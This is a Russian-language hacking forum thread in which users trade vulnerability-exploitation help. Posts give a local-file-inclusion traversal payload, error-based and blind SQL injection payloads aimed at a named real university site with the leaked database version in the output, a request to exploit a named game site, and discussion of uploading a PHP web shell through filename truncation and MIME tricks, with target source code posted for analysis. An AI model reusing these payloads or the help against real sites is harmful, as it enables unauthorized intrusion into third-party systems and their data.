Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by +, 27 Apr 2015.

  1. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,069
    Likes Received:
    1,565
    Reputations:
    40
    Для этого
    1) должен быть инклуд
    2) не должно быть расширение(или его можно откинуть)
    3) должен знать имя своего сеансового файла
    site.ru/?page=../../../../../../var/log/sess_file
    ____________________________________________________________________________
     
    z3u5 and crlf like this.
  2. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    572
    Likes Received:
    1,098
    Reputations:
    374
    Сегодня день инклудов :) В этом посте есть ссылка, на хороший материал.
     
    z3u5 likes this.
  3. st55

    st55 Level 8

    Joined:
    20 Apr 2016
    Messages:
    174
    Likes Received:
    278
    Reputations:
    46
    Error-Based вектор, фильтруется запятая.
     
  4. ms13

    ms13 Elder - Старейшина

    Joined:
    19 Jun 2015
    Messages:
    2,987
    Likes Received:
    15,579
    Reputations:
    116
    Code:
    https://ums.usmf.md/hr/logAction.php/Z' or substring(@@version from 1 for 1)=5-- -
    
     
    #2264 ms13, 16 Feb 2018
    Last edited: 16 Feb 2018
    Octavian likes this.
  5. st55

    st55 Level 8

    Joined:
    20 Apr 2016
    Messages:
    174
    Likes Received:
    278
    Reputations:
    46
    JOIN.
    Ну, как вариант, если интересно слепые крутить.
     
  6. cat1vo

    cat1vo Level 8

    Joined:
    12 Aug 2009
    Messages:
    375
    Likes Received:
    343
    Reputations:
    99
    Code:
    1 https://ums.usmf.md/hr/logAction.php/Z'=0 group by mid(@@version from floor(rand(0)*2))having avg(0)-- -
    2 https://ums.usmf.md/hr/logAction.php/Z'--~(select*from(select@@version)f)-- -
    1. Duplicate entry '5.6.28' for key 'group_key'
    2. BIGINT value is out of range in '-(~((select '5.6.28' from dual)))'
     
  7. Octavian

    Octavian Member

    Joined:
    8 Jul 2015
    Messages:
    480
    Likes Received:
    87
    Reputations:
    21
    Есть сайт загружает
    Code:
     6621519064845-asd.php.jpg 
    загрузил длинное название с расчетом на обрез
    Code:
     6621519064845-(около 200 символов).php.jpg 
    в результате получил что ожидал
    Code:
    6621519064845-(около 200 символов).php 
    но увы при запись в бд обрезается но на сервере сохраняет оригинал
    Code:
     6621519064845-(около 200 символов).php.jpg 
    Вопрос какое название носят такие уязвимость, и какие фичи эксплуатации можно попробовать? По длине php никак не обрежет ?
     
    #2267 Octavian, 19 Feb 2018
    Last edited: 19 Feb 2018
  8. Muracha

    Muracha Member

    Joined:
    30 Jul 2011
    Messages:
    152
    Likes Received:
    10
    Reputations:
    0
    Попробуй залить шелл через плохую обработку mine-type используя tor+live http clone
    Уязвимости типа "некорректной обработки данных при загрузке файлов пользователей".
    Самая изощренная уязвимость но и самая интересная. Да да, это вам не скули крутить :)
     
  9. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    831
    Likes Received:
    817
    Reputations:
    90
    действительно, там всё известно и понятно
    Code:
    root@....[....]> select{omg+1}and(1=0)UNION(select(SELECT{_ .``1.e.table_name}from(information_schema.tables)limit 1));
    +-----------------+
    | {omg+1}and(1=0) |
    +-----------------+
    | 0               |
    | CHARACTER_SETS  |
    +-----------------+
    2 rows in set (0.00 sec)
    
    каждый баг многогранен
     
    _________________________
  10. Sensoft

    Sensoft Member

    Joined:
    14 Jun 2015
    Messages:
    399
    Likes Received:
    38
    Reputations:
    1
    Кто может подсказать направление не как не могу раскрутить
    Code:
    http://www.puzzledragonx.com/en/news.asp?nid=494
     
  11. Jerri

    Jerri Level 8

    Joined:
    12 Jul 2009
    Messages:
    137
    Likes Received:
    376
    Reputations:
    22
    Conversion failed when converting the varchar value '494'' to data type int.
    Ни о чем не говорит?
     
  12. Sensoft

    Sensoft Member

    Joined:
    14 Jun 2015
    Messages:
    399
    Likes Received:
    38
    Reputations:
    1
    нет
     
  13. ghost8

    ghost8 Member

    Joined:
    29 May 2015
    Messages:
    121
    Likes Received:
    20
    Reputations:
    0
    ну так переведи,или даже это трудно сделать.
     
  14. Sensoft

    Sensoft Member

    Joined:
    14 Jun 2015
    Messages:
    399
    Likes Received:
    38
    Reputations:
    1
    А ну ка умник расскажи что значит данная ошибка
    То что ошибка при образование данных это понятно но дальше то что ?
     
  15. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,069
    Likes Received:
    1,565
    Reputations:
    40
    Так помогите раскрутить раз такие умные все
     
  16. cat1vo

    cat1vo Level 8

    Joined:
    12 Aug 2009
    Messages:
    375
    Likes Received:
    343
    Reputations:
    99
    Идти и читать про типы и приведение типов данных
     
  17. cna

    cna New Member

    Joined:
    10 Feb 2018
    Messages:
    10
    Likes Received:
    0
    Reputations:
    1
    Integer Exeption error
    нету скули ошибка просто
    invalid input syntax for type numeric: ""
    ошибку не возможно раскрутить когда колонка имеет дататайп INT но можно в некоторых базах данных бывает
    Exception while inserting ... или Incorrect Syntax near ' '. datatype INT
    и тд)
    когда колонка сама как стринг а переменная id цифра


     
    #2277 cna, 14 Mar 2018
    Last edited: 14 Mar 2018
  18. Muracha

    Muracha Member

    Joined:
    30 Jul 2011
    Messages:
    152
    Likes Received:
    10
    Reputations:
    0
    Как залить файл php на сервер? И возможно ли это?
    Имеются исходники. Крутится на joomla 1.5
    Могу дать ссылку если нужно.
    Пытался самостоятельно через curl и charkes - выдает ошибку 1002 - то есть неправильный тип файлов. Пытался подменить. Да.
    Если в той же Чарли ничего не редактировать, то отправляет на сайт без проблем.
    Code:
    <?php
    
    include_once dirname(__FILE__) . '/configuration.php';
    include_once dirname(__FILE__) . '/includes/share/share.class.php';
    
    $oConfig = new JConfig();
    $Image = isset($_POST['content']) ? $_POST['content'] : null;
    if (is_null($Image)) {
        $Image = isset($_FILES['content']) ? $_FILES['content'] : null;
    }
    $Preview = isset($_POST['preview']) ? $_POST['preview'] : '';
    if (empty($Preview)) {
        $Preview = isset($_FILES['preview']) ? $_FILES['preview'] : '';
    }
    $iAuid = isset($_POST['auid']) ? intval($_POST['auid']) : intval($_GET['auid']);
    $sShareType = isset($_POST['shareType']) ? $_POST['shareType'] : '';
    $sSign = isset($_POST['sign']) ? $_POST['sign'] : $_GET['sign'];
    $sBaseUrl = 'http://' . $_SERVER['HTTP_HOST'] . '/';
    if ($Image && $iAuid && $sSign) {
        $sScriptUri = empty($_SERVER['SCRIPT_URI'])
            ? 'http' . (empty($_SERVER['HTTPS']) ? '' : 's') . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF']
            : $_SERVER['SCRIPT_URI'];
        if (md5($iAuid . $sScriptUri) == $sSign) {
            $oSharer = new GameShare($iAuid, $Image, $Preview, $sShareType, $sSign);
            $oSharer->setConfig($oConfig);
            $sShareUrl = null;
            $iResult = $oSharer->doShare($sShareUrl);
            if ($iResult == 1) {
                print $sBaseUrl . $sShareUrl;
            } else {
                print $sBaseUrl . '?ec=' . $iResult;
            }
        } else {
            error_log('Sign is incorrect => iAuid:' . $iAuid . ' sSign:' . $sSign . ' sScriptUri:' . $sScriptUri);
            print $sBaseUrl . '?ec=1001'; //подпись не совпадает
        }
    } else {
        error_log('Some parameters are not set => iAuid:' . $iAuid . ' sSign:' . $sSign . ' Image:' . ($Image ? '+' : '-'));
        print $sBaseUrl . '?ec=1000'; //пропущены обязательные параметры
    }
    

    Code:
    <?php
    
    include_once dirname(__FILE__).'/../mysql/mysql.class.php';
    
    class GameShare
    {
        private $auid;
        private $shareType;
        private $fileInfo;
        private $previewInfo;
        private $oConfig;
        private $sign;
        private $dbInfo = array();
        private $allowedMime = array(
            'image/png',
            'image/gif',
            'image/jpeg',
        );
    
        /**
         * @param $auid
         * @param $fileInfo
         * @param string $previewInfo
         * @param string $shareType
         * @param string $sign
         */
        public function __construct($auid, $fileInfo = null, $previewInfo = '', $shareType = '', $sign = '')
        {
            $this->auid = $auid;
            $this->fileInfo = $fileInfo;
            $this->previewInfo = $previewInfo;
            $this->shareType = $shareType;
            $this->sign = $sign;
        }
    
        /**
         * @param $sFolder
         */
        private function createFolder($sFolder)
        {
            if (!file_exists($sFolder)) {
                mkdir($sFolder, 0777);
            }
        }
    
        /**
         * @return null|string
         */
        private function createUserFolder()
        {
            if ($this->auid) {
                $shareFolder = dirname(__FILE__) . '/../../' . $this->oConfig->shareFolderName;
                $this->createFolder($shareFolder);
                $shareFolder10000 = $shareFolder . (intval($this->auid/10000)) . '/';
                $this->createFolder($shareFolder10000);
                $shareFolder1000 = $shareFolder10000 . (intval($this->auid/1000)) . '/';
                $this->createFolder($shareFolder1000);
                $shareFolder100 = $shareFolder1000 . (intval($this->auid/100)) . '/';
                $this->createFolder($shareFolder100);
                $shareFolder1 = $shareFolder100 . (intval($this->auid)) . '/';
                $this->createFolder($shareFolder1);
                return $shareFolder1;
            }
    
            return null;
        }
    
        /**
         * @return string
         */
        public function getUserFolder()
        {
            return $this->oConfig->shareFolderName . intval($this->auid/10000) . '/' . intval($this->auid/1000)
                . '/' . intval($this->auid/100) . '/' . intval($this->auid) . '/';
        }
    
        /**
         * @param $oConfig
         */
        public function setConfig($oConfig)
        {
            $this->oConfig = $oConfig;
            $this->dbInfo = array(
                'mysqlHost' => $this->oConfig->host,
                'mysqlUser' => $this->oConfig->user,
                'mysqlPassword' => $this->oConfig->password,
                'mysqlDB' => $this->oConfig->db,
            );
        }
    
        /**
         * @param $auid
         */
        public function setAuid($auid)
        {
            $this->auid = $auid;
        }
    
        /**
         * @param $sResult
         * @return int
         */
        public function doShare(& $sResult)
        {
            $sUserFolder = $this->createUserFolder();
            if (!$sUserFolder) return 1003; //ошибка при загрузке файла на сервер
    
            $time = time();
    
            // Заливаем основную картинку
            $imageInfo = getimagesize($this->fileInfo['tmp_name']);
            if (empty($imageInfo[0]) || empty($imageInfo[1])) return 1002; //неверный тип файла
            if (!in_array($imageInfo['mime'], $this->allowedMime)) return 1002; //неверный тип файла
            $aExt = explode('/', $imageInfo['mime']);
            $fileName = $time . '.' . $aExt[1];
            $sDest = $sUserFolder . $fileName;
            move_uploaded_file($this->fileInfo['tmp_name'], $sDest);
    
            // Заливаем превью (если есть что)
            $previewFileName = '';
            if ($this->previewInfo) {
                $imageInfo = getimagesize($this->previewInfo['tmp_name']);
                if (empty($imageInfo[0]) || empty($imageInfo[1])) return 1002; //неверный тип файла
                if (!in_array($imageInfo['mime'], $this->allowedMime)) return 1002; //неверный тип файла
                $aExt = explode('/', $imageInfo['mime']);
                $previewFileName = $time . '-thumb.' . $aExt[1];
                $sDest = $sUserFolder . $previewFileName;
                move_uploaded_file($this->previewInfo['tmp_name'], $sDest);
            }
    
            // Сохраняем, формируем ответ, если ОК
            $iResult = $this->save($fileName, $previewFileName);
            if (!$iResult) return 1004;
            $sResult = '?share='.$iResult;
    
            return 1;
        }
    
        /**
         * @param $fileName
         * @param string $previewFileName
         * @return mixed
         */
        public function save($fileName, $previewFileName = '')
        {
            $oSQL = mysqlConnect::getInstance($this->dbInfo);
            $oSQL->query('INSERT INTO tbl_share_info (auid, filename, preview_filename, sharedate) VALUES ('
                . intval($this->auid) . ', "' . $fileName . '", "' . $previewFileName . '", NOW())');
    
            return $oSQL->insert_id;
        }
    
        /**
         * @param $id
         * @return mixed
         */
        public function get($id)
        {
            $oSQL = mysqlConnect::getInstance($this->dbInfo);
            $oResult = $oSQL->query('SELECT * FROM tbl_share_info WHERE id=' . intval($id));
    
            return $oResult->fetch_array();
        }
    
        /**
         * @param $id
         * @return int
         */
        public function getPrev($id)
        {
            $oSQL = mysqlConnect::getInstance($this->dbInfo);
            $oResult = $oSQL->query('SELECT MAX(id) as prev FROM tbl_share_info WHERE id<' . intval($id));
            $aRow = $oResult->fetch_array();
    
            return intval($aRow['prev']);
        }
    
        /**
         * @param $id
         * @return int
         */
        public function getNext($id)
        {
            $oSQL = mysqlConnect::getInstance($this->dbInfo);
            $oResult = $oSQL->query('SELECT MIN(id) as next FROM tbl_share_info WHERE id>' . intval($id));
            $aRow = $oResult->fetch_array();
    
            return intval($aRow['next']);
        }
    
        /**
         * @param $auid
         * @return mixed
         */
        public function checkUserScreens($auid)
        {
            $oSQL = mysqlConnect::getInstance($this->dbInfo);
            $oResult = $oSQL->query('SELECT COUNT(*) AS iCnt FROM tbl_share_info WHERE auid=' . intval($auid));
            $aRow = $oResult->fetch_assoc();
    
            return $aRow['iCnt'];
        }
    
        /**
         * @param $auid
         * @return array
         */
        public function getUserScreens($auid)
        {
            $oSQL = mysqlConnect::getInstance($this->dbInfo);
            $oResult = $oSQL->query('SELECT * FROM tbl_share_info WHERE auid=' . intval($auid) . ' ORDER BY sharedate DESC');
            $aResult = array();
            while ($aRow = $oResult->fetch_assoc()) {
                $aResult[] = $aRow;
            }
    
            return $aResult;
        }
    }
    
    

    Code:
    <?php
    
    class mysqlConnect
    {
        private static $oDbInstance = null;
    
        /**
         * @param $connectionData
         * @return mixed
         */
        public function getInstance($connectionData)
        {
            $sKey = md5(serialize($connectionData));
            if (empty(self::$oDbInstance[$sKey])) {
                self::$oDbInstance[$sKey] = mysqli_init();
                self::$oDbInstance[$sKey]->options(MYSQLI_OPT_CONNECT_TIMEOUT, 5);
                if (!self::$oDbInstance[$sKey]->real_connect(
                    $connectionData['mysqlHost'],
                    $connectionData['mysqlUser'],
                    $connectionData['mysqlPassword'],
                    $connectionData['mysqlDB']
                )) {
                    self::$oDbInstance[$sKey] = null;
                } else {
                    self::$oDbInstance[$sKey]->set_charset('utf8');
                }
            }
    
            return self::$oDbInstance[$sKey];
        }
    
        public function __destruct()
        {
            /*if (self::$oDbInstance) {
                self::$oDbInstance->close();
                self::$oDbInstance = null;
            }*/
        }
    }
    
    
    
     
  19. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    572
    Likes Received:
    1,098
    Reputations:
    374
    PHP:
    ...
        private 
    $allowedMime = array(
            
    'image/png',
            
    'image/gif',
            
    'image/jpeg',
        );
    ...
           if (!
    in_array($imageInfo['mime'], $this->allowedMime)) return 1002//неверный тип файла
           
    $aExt explode('/'$imageInfo['mime']);
           
    $fileName $time '.' $aExt[1];
           
    $sDest $sUserFolder $fileName;
           
    move_uploaded_file($this->fileInfo['tmp_name'], $sDest);
    ...
    Расширение сохраняемого файла является частью $imageInfo['mime'], который, ранее, проверяется по белому списку. Поэтому загрузить файл с произвольным расширением не получится.
     
    Muracha likes this.
  20. Muracha

    Muracha Member

    Joined:
    30 Jul 2011
    Messages:
    152
    Likes Received:
    10
    Reputations:
    0
    Ничего не понимаю в Руби, но ситуация аналогична?
    Скрипт gyazo

    Файл без каких либо проверок на внутреннюю часть загружается на файл, но сохраняется только в png?
    Code:
    File.open("data/#{hash}.png","w").print(imagedata)
    Есть ли возможность обойти параметр и сохранить файл в расширении php?(Через Чарли например)

    Code:
    #!/usr/bin/env ruby
    # -*- ruby -*-
    #
    # $Date$
    # $Rev$
    #
    require 'cgi'
    require 'digest/md5'
    require 'sdbm'
    
    cgi = CGI.new("html3")
    
    id = cgi.params['id'][0].read
    imagedata = cgi.params['imagedata'][0].read
    hash = Digest::MD5.hexdigest(imagedata)
    
    create_newid = false
    if not id or id == "" then
        id = Digest::MD5.hexdigest(cgi.remote_addr + Time.now.to_s)
        create_newid = true
    end
    
    dbm = SDBM.open('db/id',0644)
    dbm[hash] = id
    dbm.close
    
    File.open("data/#{hash}.png","w").print(imagedata)
    
    headers = {}
    if create_newid then
        headers = {"X-Gyazo-Id"=>id}
    end
    
    cgi.out(headers){"http://gyazo.com/#{hash}.png"}
     
Loading...